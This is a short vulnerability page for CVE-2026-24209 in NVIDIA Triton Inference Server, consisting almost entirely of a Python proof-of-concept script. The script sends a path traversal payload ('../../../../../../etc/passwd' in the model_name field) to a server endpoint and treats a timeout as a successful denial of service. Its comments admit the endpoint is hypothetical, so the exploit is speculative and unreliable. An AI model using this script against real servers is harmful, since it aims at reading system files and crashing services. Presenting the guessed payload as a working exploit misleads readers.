CVE-2026-24209 NVIDIA Triton 路径遍历漏洞

import requests # Conceptual Proof of Concept for CVE-2026-24209 # Target: NVIDIA Triton Inference Server # Description: Sends a payload with path traversal sequences to trigger DoS. target_host = "http://target-triton-server:8000" vulnerable_endpoint = "/v2/models/infer" # Hypothetical endpoint # Payload attempting to traverse directories payload = { "model_name": "../../../../../../etc/passwd" } try: print(f"Sending request to {target_host}{vulnerable_endpoint}...") response = requests.post(target_host + vulnerable_endpoint, json=payload, timeout=5) # Check if the service is still responding or if it crashed if response.status_code == 200: print("Request sent successfully. Check server logs for path access.") else: print(f"Received status code: {response.status_code}") except requests.exceptions.RequestException as e: # A connection error or timeout might indicate a successful DoS print(f"Connection failed or timeout: {e}") print("The server might have crashed (Denial of Service).")